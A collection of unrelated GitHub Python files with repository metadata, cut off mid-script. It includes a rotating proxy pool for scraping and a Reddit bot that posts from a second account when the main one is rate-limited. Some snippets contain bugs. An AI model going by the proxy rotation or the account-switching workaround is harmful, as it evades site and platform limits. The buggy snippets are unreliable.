print(\"post_processing_time\", post_processing_time)\n if post_processing_time > 1000880:\n print(d)\n # t = {\n # 'dwg_to_json_time': dwg_to_json_time,\n # 'time_to_generate': time_to_generate,\n # 'processing_time': processing_time,\n # # 'post_processing_time': post_processing_time,\n # }\n times.append([dwg_to_json_time, time_to_generate,\n processing_time, post_processing_time])\n # dwg_created = dwg_asset['createdAt']['$date']\n # dwg_json_created = dwg_json_asset['createdAt']['$date']\n # generate_started = underlay_asset['createdAt']['$date']\n # generate_finished = underlay_asset['updatedAt']['$date']\n # design_created = wiring_asset['createdAt']['$date']\n\n\nprint(\"users\", len(users))\nprint(\"drawings\", len(drawings))\nprint(\"drawings_types\", drawings_types)\n\n\nwith open(writePath, \"w\") as f:\n # f.write(f'total number of users is {len(users)}\\n')\n # f.write(f'total number of drawings is {len(drawings)}\\n')\n # f.write(f'drawings_types {json.dumps(drawings_types)}\\n')\n for t in times:\n f.write(','.join([str(i) for i in t]) + '\\n')\n","repo_name":"boris-p/scratchapixel","sub_path":"src/beamup/uploadStats/uploadStats.py","file_name":"uploadStats.py","file_ext":"py","file_size_in_byte":4938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"925372002","text":"import os\nimport datetime\n\n# Set up the command and log file paths\ncommand = '/path/to/ord wallet inscriptions >> log.txt'\nlog_file = 'log.txt'\n\n# Write out the cronjob to a temporary file\ncronjob = f'0 */2 * * * {command}\\n'\nwith open('/tmp/crontab.txt', 'w') as f:\n f.write(cronjob)\n\n# Install the cronjob\nos.system('crontab /tmp/crontab.txt')\n\n# Create the log file if it doesn't exist\nif not os.path.exists(log_file):\n open(log_file, 'w').close()\n\n# Append a timestamp to the log file each time the command is executed\nwith open(log_file, 'a') as f:\n timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')\n f.write(f'Command executed at {timestamp}\\n')\n","repo_name":"drgoodnight/linux_management_scripts","sub_path":"cron_job.py","file_name":"cron_job.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1381916033","text":"from flask import jsonify, abort, request\nfrom flask_restful import Resource\nfrom rooms_scheduler_app.ext.database import Room, RoomType\n\nfrom ...ext.database import db\n\n\nclass RoomsResource(Resource):\n \"\"\" Rooms Resource to GET all rooms or POST a new room.\"\"\"\n\n def get(self):\n rooms = Room.query.all() or abort(404, \"No rooms found.\")\n\n return jsonify({\n 'rooms': [\n room.to_dict()\n for room in rooms\n ]}\n )\n\n def post(self):\n data = request.get_json()\n if not data:\n abort(400, \"No data received in the body.\")\n\n name = data.get('name')\n number = data.get('number')\n room_type_id = data.get('room_type_id')\n key_status = data.get('key_status')\n room_status = data.get('room_status')\n\n room_type = RoomType.query.get(room_type_id)\n if not room_type:\n abort(400, \"Invalid Room Type ID.\")\n\n new_room = Room(\n name=name,\n number=number,\n room_type_id=room_type_id,\n key_status=key_status,\n room_status=room_status\n )\n\n db.session.add(new_room)\n db.session.commit()\n\n return jsonify(new_room.to_dict())\n\n\nclass RoomResource(Resource):\n \"\"\" Room resource to update with PATCH or GET a specific room.\"\"\"\n\n def get(self, room_id):\n room = Room.query.get(room_id) or abort(404, \"Room not found.\")\n\n return jsonify(room.to_dict())\n\n def patch(self, room_id):\n room = Room.query.get(room_id) or abort(404, \"Room not found.\")\n\n data = request.get_json()\n if not data:\n abort(400, \"No data received in the body.\")\n\n name = data.get('name')\n number = data.get('number')\n room_type_id = data.get('room_type_id')\n key_status = data.get('key_status')\n room_status = data.get('room_status')\n\n if name:\n room.name = name\n\n if number:\n room.number = number\n\n if room_type_id:\n room_type = RoomType.query.get(room_type_id)\n if not room_type:\n abort(400, \"Invalid Room Type ID.\")\n room.room_type = room_type\n\n if key_status:\n room.key_status = key_status\n\n if room_status:\n room.room_status = room_status\n\n db.session.commit()\n\n return jsonify(room.to_dict())\n","repo_name":"bernardoadribeiro/rooms_scheduler_app","sub_path":"rooms_scheduler_app/blueprints/restapi/room_resources.py","file_name":"room_resources.py","file_ext":"py","file_size_in_byte":2430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"20374478109","text":"import numpy as np\nimport pandas as pd\nimport os\nimport GloGlaThelpers as ggthelp\nimport re\nimport matplotlib.pyplot as plt\nimport math\nimport glob\nfrom scipy import interpolate\nimport json\n\ndatapath = '/scratch_net/iceberg_second/mhuss/r6spec_global_results/'\nrepo_path = '.'\nregion_lut = pd.read_csv(os.path.join(repo_path,'regionIDs.csv'), dtype=object)\nregions = [name for name in os.listdir(datapath) if os.path.isdir(os.path.join(datapath, name))]\nsites_temps, sites = ggthelp.import_database(repo_path)\nwith open('calval.json') as json_file:\n calval = json.load(json_file)\n\n\nfor r in regions:\n filepath, reg_id = ggthelp.get_file_locations(r, region_lut, datapath)\n try:\n pointfiles = ggthelp.cal_ids_in_region(filepath, r, region_lut, calval)\n except FileNotFoundError:\n print(f\"No glaciers in region {r}, moving on\")\n continue\n\n for pf in pointfiles:\n rgi_id, pt_id = ggthelp.get_pointfile_ids(pf, reg_id)\n\n measured, T_interp, pt, year, model_elevation = ggthelp.build_calval_data(pf, pt_id, reg_id, rgi_id, filepath, sites_temps)\n if len(measured) == 0:\n continue\n\n diffs = T_interp - measured.temperature_degC\n try:\n rmse = np.sqrt(np.sum(diffs**2)/len(diffs))\n except ZeroDivisionError:\n rmse_20 = np.nan\n mask20 = measured.depth_m>=20\n diffs_20 = diffs[mask20]\n try:\n rmse_20 = np.sqrt(np.sum(diffs_20**2)/len(diffs_20))\n except ZeroDivisionError:\n rmse_20 = np.nan\n\n #lineplot showing measured and modeled data per glacier\n f, ax = plt.subplots(figsize=(6,9))\n colors = plt.cm.Blues_r(np.linspace(0, 1, 18))\n c_ct = 0\n if year == [] or year[0]<1980:\n plot_year = '1990'\n else:\n plot_year = str(year[0])\n\n ax.scatter(T_interp, measured.depth_m, color='k', marker='+', label='interpolated points')\n ax.plot(pt.loc[plot_year].mean(), pt.columns,\n linestyle=':', marker='.',\n label=f\"model BH{pt_id}\"\n )\n ax.plot(measured.temperature_degC, measured.depth_m,\n linestyle=':', marker='.',\n label=f\"measured at BH {measured.measurement_id.unique()[0]}\"\n )\n\n ax.set_xlabel('Temperature (°C)')\n ax.set_ylabel('Depth (m)')\n #ax1.xaxis.tick_top()\n ax.invert_yaxis()\n ax.legend()\n ax.set_title(f\"{rgi_id} ({measured.glacier_name.unique()[0]} borehole #{pt_id}) \\n Model year {plot_year} \\n Model elevation: {model_elevation} \\n RMSE: {rmse:.2f}, RMSE20: {rmse_20:.2f}\")\n\n #ax2.scatter(T_interp, measured.temperature_degC)\n #ax2.set_xlabel('Modeled temperature')\n #ax2.set_ylabel('Measured temperature')\n #ax2.axis('equal')\n #ax2.set_aspect('equal')\n\n f.savefig(f\"Temp_val_outputs/{pt_id}_validation.png\")\n plt.close(f)\n","repo_name":"mjacqu/glogem-glacier-temps","sub_path":"temp_validation.py","file_name":"temp_validation.py","file_ext":"py","file_size_in_byte":2917,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"16828977349","text":"# coding:utf-8\n__author__ = 'devin'\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\n\nclass Solution(object):\n def lowestCommonAncestor(self, root, p, q):\n \"\"\"\n :type root: TreeNode\n :type p: TreeNode\n :type q: TreeNode\n :rtype: TreeNode\n \"\"\"\n m = root\n while m is not None:\n if p.val <= m.val <= q.val or q.val <= m.x <= p.val:\n break\n elif p.val > m.val and q.val > m.val:\n m = m.right\n elif p.val < m.val and q.val < m.val:\n m = m.left\n return m\n\n\n","repo_name":"KDF5000/LeetCode","sub_path":"LCA.py","file_name":"LCA.py","file_ext":"py","file_size_in_byte":718,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"10008181216","text":"#Loading dependencies\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Dense, Dropout, Input, concatenate\nfrom keras.models import Model\nfrom keras.regularizers import l1, l2\nimport keras.backend as K\nimport keras.losses\n\nimport numpy as np\nimport pandas as pd\n\n#from feature_constructor import DIMENSION, N_CARDS, CARD_TYPES\nimport feature_constructor as fc\nfrom sklearn.linear_model import SGDRegressor\n\nLOSS_FUNC = 'MSE'\nOPTIMIZER = 'adam'\n\n\ndef model_for_playing(D):\n\tmodel = Sequential()\n\tmodel.add(Dense(D, input_dim=D, activation=\"tanh\"))\n\t# model.add(Dropout(0.6))\n\n\tmodel.add(Dense(300, activation=\"relu\"))\n\t# model.add(Dropout(0.6))\n\n\tmodel.add(Dense(200, activation=\"relu\"))\n\t# model.add(Dropout(0.6))\n\t#\n\tmodel.add(Dense(200, activation=\"relu\"))\n\t# model.add(Dropout(0.6))\n\t#\n\tmodel.add(Dense(200, activation=\"relu\"))\n\t# model.add(Dropout(0.6))\n\tmodel.add(Dense(1, activation=\"linear\"))\n\n\tmodel.compile(\n\t\tloss=LOSS_FUNC,\n\t\toptimizer=OPTIMIZER)\n\treturn model\n\n\ndef model_for_hokming(D):\n\tmodel = Sequential()\n\tmodel.add(Dense(56, input_dim=D, activation=\"sigmoid\"))\n\t# model.add(Dropout(0.6))\n\n\tmodel.add(Dense(56, activation=\"relu\"))\n\t# model.add(Dropout(0.6))\n\n\t# model.add(Dense(32, activation=\"relu\"))\n\t# model.add(Dropout(0.6))\n\n\tmodel.add(Dense(32, activation=\"relu\"))\n\t# model.add(Dropout(0.6))\n\n\tmodel.add(Dense(1, activation=\"sigmoid\"))\n\n\tmodel.compile(\n\t\tloss=LOSS_FUNC,\n\t\toptimizer=OPTIMIZER)\n\treturn model\n\nclass DQN:\n\n\tdef __init__(self, _for='Playing', _type='SGD', warm_up=False, n_trained=0):\n\t\tself._n_trained = n_trained\n\t\tself._for = _for\n\t\tself._type = _type\n\t\tD = fc.DIMENSION\n\t\tif warm_up:\n\t\t\tself.load_model()\n\t\telse:\n\t\t\tif _for == 'Playing':\n\t\t\t\tif _type == 'DNN':\n\t\t\t\t\tself.model = model_for_playing(D)\n\t\t\t\telif _type == 'SGD':\n\t\t\t\t\tself.model = np.random.randn(D) / np.sqrt(D)\n\t\t\t\telif _type == 'SKLearn':\n\t\t\t\t\tself.model = SGDRegressor(loss='squared_loss', penalty='l2', verbose=0, learning_rate='invscaling')\n\t\t\t\t\tself.model.partial_fit(np.atleast_2d([np.random.choice([0, 1]) for _ in range(D)]), [0])\n\n\t\t\telif _for == 'Hokming':\n\t\t\t\tD = fc.N_CARDS + len(fc.CARD_TYPES)\n\t\t\t\tif _type == 'DNN':\n\t\t\t\t\tself.model = model_for_hokming(D)\n\t\t\t\telif _type == 'SGD':\n\t\t\t\t\tself.model = np.random.randn(D) / np.sqrt(D)\n\t\t\t\telif _type == 'SKLearn':\n\t\t\t\t\tself.model = SGDRegressor(loss='squared_loss', penalty='l2', verbose=0, learning_rate='invscaling')\n\t\t\t\t\tself.model.partial_fit(np.atleast_2d([np.random.choice([0, 1]) for _ in range(D)]), [0])\n\t\t\tself.save() # we save the model in the beginning so the target_model could read it\n\n\tdef predict(self, *args, **kawrgs):\n\t\treturn np.random.choice(kawrgs['possible_actions'])\n\n\tdef partial_fit(self, X, Y, lr):\n\t\tX = np.atleast_2d(X)\n\t\tif self._type == 'DNN':\n\t\t\tself.model.fit(X, Y, epochs=1, verbose=0)\n\t\telif self._type == 'SGD':\n\t\t\tself.model += lr * (Y - X.dot(self.model) / X.shape[0]).dot(X)\n\t\telif self._type == 'SKLearn':\n\t\t\tself.model.partial_fit(X, Y)\n\t\tself._n_trained += 1\n\n\n\tdef predict(self, X):\n\t\tif self._type == 'DNN':\n\t\t\treturn self.model.predict(np.atleast_2d(X))[0][0]\n\t\telif self._type == 'SGD':\n\t\t\treturn X.dot(self.model)\n\t\telif self._type == 'SKLearn':\n\t\t\treturn self.model.predict(np.atleast_2d(X))[0]\n\n\n\tdef save(self):\n\t\tf_name = f\"./{self._for}-{self._type}\"\n\t\tif self._type == 'DNN':\n\t\t\tself.model.save(f\"./saved_models/{f_name}.h5\")\n\t\telif self._type == 'SGD':\n\t\t\tdf = pd.DataFrame(self.model, columns=['Coeffs'])\n\t\t\tdf.to_csv(f\"./saved_models/{f_name}.csv\")\n\t\telif self._type == 'SKLearn':\n\t\t\twith open(f\"./saved_models/{f_name}.pkl\", 'wb') as file:\n\t\t\t\tpd.pickle.dump(self.model, file)\n\t\treturn self._n_trained\n\n\n\tdef load_model(self):\n\t\tf_name = f\"./{self._for}-{self._type}\"\n\t\tif self._type == 'DNN':\n\t\t\tself.model = load_model(f\"./saved_models/{f_name}.h5\")\n\t\t\tself.model.compile(loss=LOSS_FUNC, optimizer=OPTIMIZER)\n\t\telif self._type == 'SGD':\n\t\t\tself.model = np.array(pd.read_csv(f\"./saved_models/{f_name}.csv\", index_col=0)).reshape(1, -1)[0]\n\t\telif self._type == 'SKLearn':\n\t\t\twith open(f\"./saved_models/{f_name}.pkl\", 'rb') as file:\n\t\t\t\tpd.pickle.load(file)\n\t\treturn self._n_trained\n","repo_name":"vd1371/AlphaHokm","sub_path":"LearningModels/DQN.py","file_name":"DQN.py","file_ext":"py","file_size_in_byte":4167,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"37759001229","text":"from typing import List\n\n\nclass Solution:\n \"\"\"\n DP_Question\n Given matrix, return length of longest increasing path\n Ex. matrix = [[9,9,4],[6,6,8],[2,1,1]] -> 4, [1,2,6,9]\n\n DFS + memo, cache on indices, compare to prev for increasing check\n\n Time: O(m x n)\n Space: O(m x n)\n \"\"\"\n def longestIncreasingPath(self, matrix: List[List[int]]) -> int:\n \n if not matrix:\n return 0 \n \n dp = {} # k: (r, c): LongestIncreasingPath\n \n ROWS, COLS = len(matrix), len(matrix[0])\n \n def dfs(r, c, prevVal):\n if r not in range(ROWS) or c not in range(COLS) or matrix[r][c] <= prevVal:\n return 0\n if (r, c) in dp:\n return dp[(r, c)]\n \n res = 1\n res = max(res, 1 + dfs(r+1, c, matrix[r][c]))\n res = max(res, 1 + dfs(r-1, c, matrix[r][c]))\n res = max(res, 1 + dfs(r, c+1, matrix[r][c]))\n res = max(res, 1 + dfs(r, c-1, matrix[r][c]))\n \n dp[(r, c)] = res \n return res \n \n \n for r in range(ROWS):\n for c in range(COLS):\n dfs(r, c, -1)\n \n return max(dp.values())","repo_name":"ermantatar/Algorithms","sub_path":"Python/0_______ARRAY_______/Matrix/Longest_Increasing_Path_in_Matrix.py","file_name":"Longest_Increasing_Path_in_Matrix.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72670833427","text":"str_ = input(\"Enter the String\")\ne = str_.split(' ')\ncount= 0\n#print(e)\nfor x in range(0,len(e)):\n #print(e[x])\n if e[x]=='':\n count +=1\n #print(e)\nprint(len(e)-count)","repo_name":"bdg92/Number-of-words-in-String","sub_path":"Nu_of_Words_in_String.py","file_name":"Nu_of_Words_in_String.py","file_ext":"py","file_size_in_byte":183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"33097236545","text":"import os\n\n\nPRIVATE_KEY_ID = os.getenv(\"PRIVATE_KEY_ID\")\nPRIVATE_KEY = os.getenv(\"PRIVATE_KEY\").replace(\"\\\\n\", \"\\n\")\nSERVICE_ACCOUNT_INFO = {\n \"type\": \"service_account\",\n \"project_id\": \"roadmap-270011\",\n \"private_key_id\": PRIVATE_KEY_ID,\n \"private_key\": PRIVATE_KEY,\n \"client_email\": \"specs-reader@roadmap-270011.iam.gserviceaccount.com\",\n \"client_id\": \"112404606310881291739\",\n \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n \"token_uri\": \"https://oauth2.googleapis.com/token\",\n \"auth_provider_x509_cert_url\": (\n \"https://www.googleapis.com/oauth2/v1/certs\"\n ),\n \"client_x509_cert_url\": (\n \"https://www.googleapis.com/robot/v1/metadata\"\n \"/x509/specs-reader%40roadmap-270011.iam.gserviceaccount.com\"\n ),\n}\n\n\n# Spreadsheet that contains the spec metadatada\nTRACKER_SPREADSHEET_ID = \"1aKH6petyrzjzw0mgUNQscDhFSfVkbAIEjfH7YBS-bDA\"\n\nTEAMS_FOLDER_ID = \"19jxxVn_3n6ZAmFl3DReEVgZjxZnlky4X\"\n\n# Main sheet name\nSPECS_SHEET_TITLE = \"Specs\"\n# Temporary sheet while the update is running\nTMP_SHEET_TITLE = \"Specs_tmp\"\n","repo_name":"canonical/specs.canonical.com","sub_path":"webapp/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"37106735350","text":"import dash\nimport dash_core_components as dcc\nimport dash_html_components as html\nfrom dash.dependencies import Input, Output, State\nimport dash_bootstrap_components as dbc\n\nexternal_scripts = [\n {'src': 'https://cdn.paddle.com/paddle/paddle.js'}\n]\n\napp = dash.Dash(__name__, external_stylesheets=[dbc.themes.LITERA], external_scripts=external_scripts) \napp.title = 'Powered by Tasting Intelligence'\n\nserver = app.server\n\nCard = dbc.Card([\n html.Div([html.H2('Card:')]),\n ], color=\"dark\", outline=True, body=True)\n\napp.layout = html.Div([\n dbc.Row(\n [\n dbc.Col(dbc.CardDeck([Card]),\n width={'size': 9, 'offset': 0})\n ], justify='around'\n ),\n ])\n\nif __name__ == '__main__':\n app.run_server()\n","repo_name":"VBhagwandas/plotly-dash-google-cloud-run-test","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15565433237","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Nov 14 22:55:28 2021\n\n@author: eplan\n\"\"\"\n\nimport numpy as np\nimport torch as T\nimport torch.nn as nn\nfrom torch.functional import F\n\nclass DQN(nn.Module):\n #--------------------------------------------------------------------------\n def __init__(self, state_dims, n_actions, hidden_dims, act_fn = nn.ReLU,\n learning_rate = .0001, device = \"cpu\"):\n \n super().__init__()\n \n self.state_dims = state_dims\n self.n_actions = n_actions\n self.hidden_dims = hidden_dims\n \n dims = [state_dims] + hidden_dims \n layers = []\n \n for i in range(len(dims) - 1):\n layers.append(nn.Linear(dims[i], dims[i + 1]))\n layers.append(act_fn())\n layers.append(nn.Linear(dims[-1], n_actions))\n \n self.net = nn.Sequential(*layers)\n \n self.optimizer = T.optim.Adam(self.parameters(), lr = learning_rate)\n \n self.device = device\n self.to(device)\n #--------------------------------------------------------------------------\n def forward(self, state):\n state = state.to(self.device)\n return self.net(state)\n #--------------------------------------------------------------------------\n def save(self, filename):\n T.save(self.state_dict(), filename)\n #--------------------------------------------------------------------------\n def load(self, filename):\n self.load_state_dict(T.load(filename))\n \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","repo_name":"erwanplantec/Deep_RL","sub_path":"DQN/DQN.py","file_name":"DQN.py","file_ext":"py","file_size_in_byte":1670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"13772042515","text":"# coding:utf-8\nimport configparser\nimport os\n\ncurPath = os.path.abspath(os.path.dirname(__file__))\nrootPath = curPath[:curPath.find(\"SBagentpool\\\\\")+len(\"SBagentpool\\\\\")] # 获取myProject,也就是项目的根路径\nconf = configparser.ConfigParser()\nconf.read(rootPath+'\\\\cofig.ini')\n\nclass agentmanager_common:\n def __init__(self):\n ####计数不做线程安全控制,仅供参考\n self.requestsum = 0 # 对外请求总量\n self.use_myself_time = 0 #使用自身Ip进行请求次数\n self.use_proxy_time=0 #使用代理次数\n self.use_proxy_success_time = 0 #使用代���成功次数\n\n\n self.agentmanager_worst_score = 100 # 最坏代理的打分的分数\n self.agentmanager_worst_block = 500 # 表示清理最坏的代理时多少个占用一条线程\n self.agentmanager_routine_block = 500\n self.domestic_general_agent = conf.get('agentmanager', 'agentmanager_worst_score')\n self.checkurls=[]\n self.baiduurl = 'https://www.baidu.com/' # 百度\n self.cbgurl = 'https://xyq.cbg.163.com/' # cbg\n self.mhurl = 'http://xyq.163.com/' # MH\n self.zhihuurl = 'https://www.zhihu.com/' # zhihu\n self.zhangzongurl = 'https://gitee.com/zhso' # 张总git\n self.checkurls.append(self.baiduurl)\n self.checkurls.append(self.cbgurl)\n self.checkurls.append(self.mhurl)\n self.checkurls.append(self.zhihuurl)\n self.checkurls.append(self.zhangzongurl)\n self.checkip_max_timeout=5\n self.error_quest_score = 15\n self.abandon_time = 60 * 60 * 24 * 7 #一个星期请求不成功则抛弃\n self.abandon_score = 100\n self.full_penalty_score=self.abandon_score-(self.error_quest_score*len(self.checkurls)) #惩罚分满分\n pass\nagentmanagercommonObject=agentmanager_common()\nagentmanager_worst_score = agentmanagercommonObject.agentmanager_worst_score\nagentmanager_worst_block = agentmanagercommonObject.agentmanager_worst_block\nagentmanager_checkurls = agentmanagercommonObject.checkurls\nagentmanager_checkip_max_timeout=agentmanagercommonObject.checkip_max_timeout\nagentmanager_error_quest_score=agentmanagercommonObject.error_quest_score\nagentmanager_routine_block=agentmanagercommonObject.agentmanager_routine_block\nagentmanager_abandon_time=agentmanagercommonObject.abandon_time\nagentmanager_full_penalty_score=agentmanagercommonObject.full_penalty_score\nagentmanager_requestsum=agentmanagercommonObject.requestsum\nagentmanager_use_myself_time=agentmanagercommonObject.use_myself_time\nagentmanager_use_proxy_time=agentmanagercommonObject.use_proxy_time\nagentmanager_use_proxy_success_time=agentmanagercommonObject.use_proxy_success_time","repo_name":"LittleStone8/SBagentpool","sub_path":"agentpool/agentmanager/agentmanagercommon.py","file_name":"agentmanagercommon.py","file_ext":"py","file_size_in_byte":2715,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"48"} +{"seq_id":"13965641816","text":"from termcolor import cprint\nimport colorama\n# Укажите путь к файлу с адресами\naddress_file_path = \"wallets.txt\"\nnames_file_path = \"names.txt\"\njs_path=\"add_wallets_js.txt\"\n\ndef line_control(file_txt):\n # Удаление пустых строк\n with open(file_txt) as f1:\n lines = f1.readlines()\n non_empty_lines = (line for line in lines if not line.isspace())\n with open(file_txt, \"w\") as n_f1:\n n_f1.writelines(non_empty_lines)\n\n\ndef js_changer(addresses, names):\n\n with open(js_path, 'r', encoding=\"utf-8\") as read:\n lines = read.readlines()\n key_edt = [False, False]\n # Изменяет переменную wallets\n with open(js_path, 'w', encoding=\"utf-8\") as read:\n for line in lines:\n if \"const wallets =\" in line:\n line = f'\tconst wallets = {addresses};\\n'\n key_edt[0] = True\n cprint(\"Адреса успешно добавлены\", \"green\")\n if (\"const names =\" in line) & (len(names) > 0):\n line = f'\tconst names = {names};\\n'\n key_edt[1] = True\n cprint(\"Названия успешно добавлены\", \"green\")\n read.write(line)\n return key_edt\n\n\ndef main():\n colorama.init()\n\n line_control(address_file_path)\n line_control(names_file_path)\n\n # Считываем содержимое файла и создаем список адресов\n with open(address_file_path, \"r\") as file:\n addresses = [line.strip() for line in file]\n\n # Считываем содержимое файла и создаем список названий\n with open(names_file_path, \"r\") as file:\n names = [line.strip() for line in file]\n\n if len(names) == 0:\n cprint(\"Названия кошелей отсутствуют.\", \"red\")\n\n # Меняем содержимое файла при наличии адресов\n if len(addresses) == 0:\n cprint(\"Добавьте адреса кошельков в файл wallets.txt\", \"red\")\n else:\n changes = js_changer(addresses, names)\n\n colorama.deinit()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"plebey/OKX_add_wl_wallets","sub_path":"add_wallets.py","file_name":"add_wallets.py","file_ext":"py","file_size_in_byte":2229,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"48"} +{"seq_id":"14422567971","text":"from flask import Flask, request\nfrom functions import insurance_handler\n\napp = Flask(__name__)\n\n@app.route('/calculate-scores', methods=['POST'])\ndef calculate_scores():\n try:\n userData = request.json\n return insurance_handler.calculate_scores(userData), 200\n except Exception as e:\n return str(e), 500\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=5000)","repo_name":"2904nando/score-calculation","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"22757909570","text":"#!/usr/bin/env python3\n\"\"\"Some functions modified by using control statements\"\"\"\n__appname__ = 'cfexercises.py'\n__author__ = 'Yuqing Zhou (yz2919@imperial.ac.uk)'\n__version__ = '0.0.1'\n__license__ = \"None\"\n\nimport sys\n\ndef foo_1(x=4):\n \"\"\"Calculate the square root of x\"\"\"\n return x ** 0.5\n\ndef foo_2(x=3, y=8):\n \"\"\"Find the larger number\"\"\"\n if x > y:\n return x\n return y\n \ndef foo_3(x=5, y=2, z=1):\n \"\"\"Put the smaller one of two adjacent numbers in the front of the sequence\"\"\" \n if x > y:\n tmp = y\n y = x\n x = tmp\n if y > z:\n tmp = z\n z = y\n y = tmp\n return [x, y, z]\n\ndef foo_4 (x=10):\n \"\"\"Calculate the factorial of x\"\"\"\n result = 1\n for i in range (1, x + 1):\n result = result * i\n return result\n\ndef foo_5(x=10):\n \"\"\"a recursive function that calculates the factorial of x\"\"\"\n if x == 1:\n return 1\n return x * foo_5(x - 1)\n\ndef foo_6(x=10):\n \"\"\"Calculate the factorial of x in a different way\"\"\"\n facto = 1\n while x >= 1:\n facto = facto * x\n x = x - 1\n return facto\n\ndef main(argv):\n \"\"\"main entry\"\"\"\n print(foo_1(9))\n print(foo_2(6,4))\n print(foo_3(833,529,641))\n print(foo_4(25))\n print(foo_5(25))\n print(foo_6(25))\n return 0\n\nif (__name__ == \"__main__\"):\n status = main(sys.argv)\n sys.exit(status)\n","repo_name":"yz2919/CMEECourseWork","sub_path":"Week2/Code/cfexercises.py","file_name":"cfexercises.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27961811348","text":"#Particle in a 1D Box\r\nimport numpy as np\r\nimport matplotlib.pyplot as plt\r\n\r\n#Wavefunction\r\ndef psi(x,n,L):\r\n return np.sqrt(2.0/L)*np.sin(n*np.pi*x/L)\r\n\r\n\r\nn = int(input(\"Enter the value for the quantum number n = \"))\r\nL = float(input(\"Enter the size of the box in Angstroms = \"))\r\n\r\n\r\nx = np.linspace(0, L, 1000)\r\nfig= plt.subplots()\r\n\r\nplt.plot(x, psi(x,n,L),'--r') \r\nplt.grid()\r\n\r\n\r\nplt.xlabel('L')\r\nplt.ylabel(r'$\\psi_n(x)$')\r\nplt.title('Wavefunction')\r\n\r\n#Probability density \r\nfig= plt.subplots()\r\nplt.plot(x, psi(x,n,L)*psi(x,n,L))\r\n\r\nplt.xlabel('L')\r\nplt.ylabel(r'$|\\psi_n|^2(x)$')\r\nplt.title('Probability Density')\r\nplt.grid()\r\n\r\nplt.show()\r\n","repo_name":"patrasubham/Basic-Physics-Code","sub_path":"Particle in a 1D Box.py","file_name":"Particle in a 1D Box.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"15815167606","text":"from response import get_comment_reply\nfrom utils import *\nfrom bhaikadosth import *\nimport requests\nimport time\n\nclass SALLU_BHOT:\n def __init__(self):\n\n # Load in credentials from .env\n load_dotenv()\n # Set the bot's username\n self.bot_username = os.getenv('sallu_username')\n\n print(f\"STARTING {os.getenv('sallu_username')}\")\n \n # Initialize a Reddit object\n self.reddit = praw.Reddit(\n client_id=os.getenv('sallu_client_id'),\n client_secret=os.getenv('sallu_client_secret'),\n password=os.getenv('sallu_password'),\n user_agent=os.getenv('sallu_user_agent'),\n username=os.getenv('sallu_username')\n )\n\n #webhook url for discord notifications\n self.webhook_sb = os.getenv('webhook_sb')\n\n # Set the subreddit to monitor\n #self.subreddit = self.reddit.subreddit('sallu_bhot_test')\n self.subreddit = self.reddit.subreddit('sallu_bhot_test+biggboss')\n\n #bhaikadosth config\n self.army = config\n\n def send_webhook(self, message):\n data = {'content': message, 'username': 'Sallu-bhot'}\n requests.post(self.webhook_sb, data=data)\n\n def send_errors(self, body, comment):\n \"\"\"Print Error\"\"\"\n\n if \"NoneType' object has no attribute 'name\" in str(body):\n pass\n else:\n print(body)\n body = f\"{body}\\nhttps://www.reddit.com{comment.permalink}\"\n try:\n if \"RATELIMIT\" in str(body):\n user = self.army['bhai-ka-driver-bot']\n res = \"Sorry sir, Bhai ~~has been rate-limited~~ is working out and may miss tags. Sab mera galti hai!\"\n driver_comment = user['reddit'].comment(id=comment.id)\n driver_comment.reply(body=res)\n writeComment(comment.id)\n body += \"\\nDriver has apologized!.\"\n\n\n self.send_webhook(body)\n \n except Exception as e:\n body += \"BHAI KA DRIVER ERROR: {}\".format(e)\n print(body)\n self.send_webhook(body)\n pass\n\n \n def getText(self,redditObject):\n if isComment(redditObject):\n user_text = redditObject.body.lower()\n else:\n user_text = redditObject.title.lower() + \"\\n\" + redditObject.selftext.lower()\n\n return user_text\n\n \"\"\"Sending a normal, random response\"\"\"\n def response_canon(self,redditObject,comment):\n try:\n response = get_comment_reply(comment, redditObject.author.name)\n\n redditObject.reply(body=response)\n\n #store id of already replied submissions in DB\n writeComment(redditObject.id)\n \n link = f\"\\n{redditObject.author.name}: 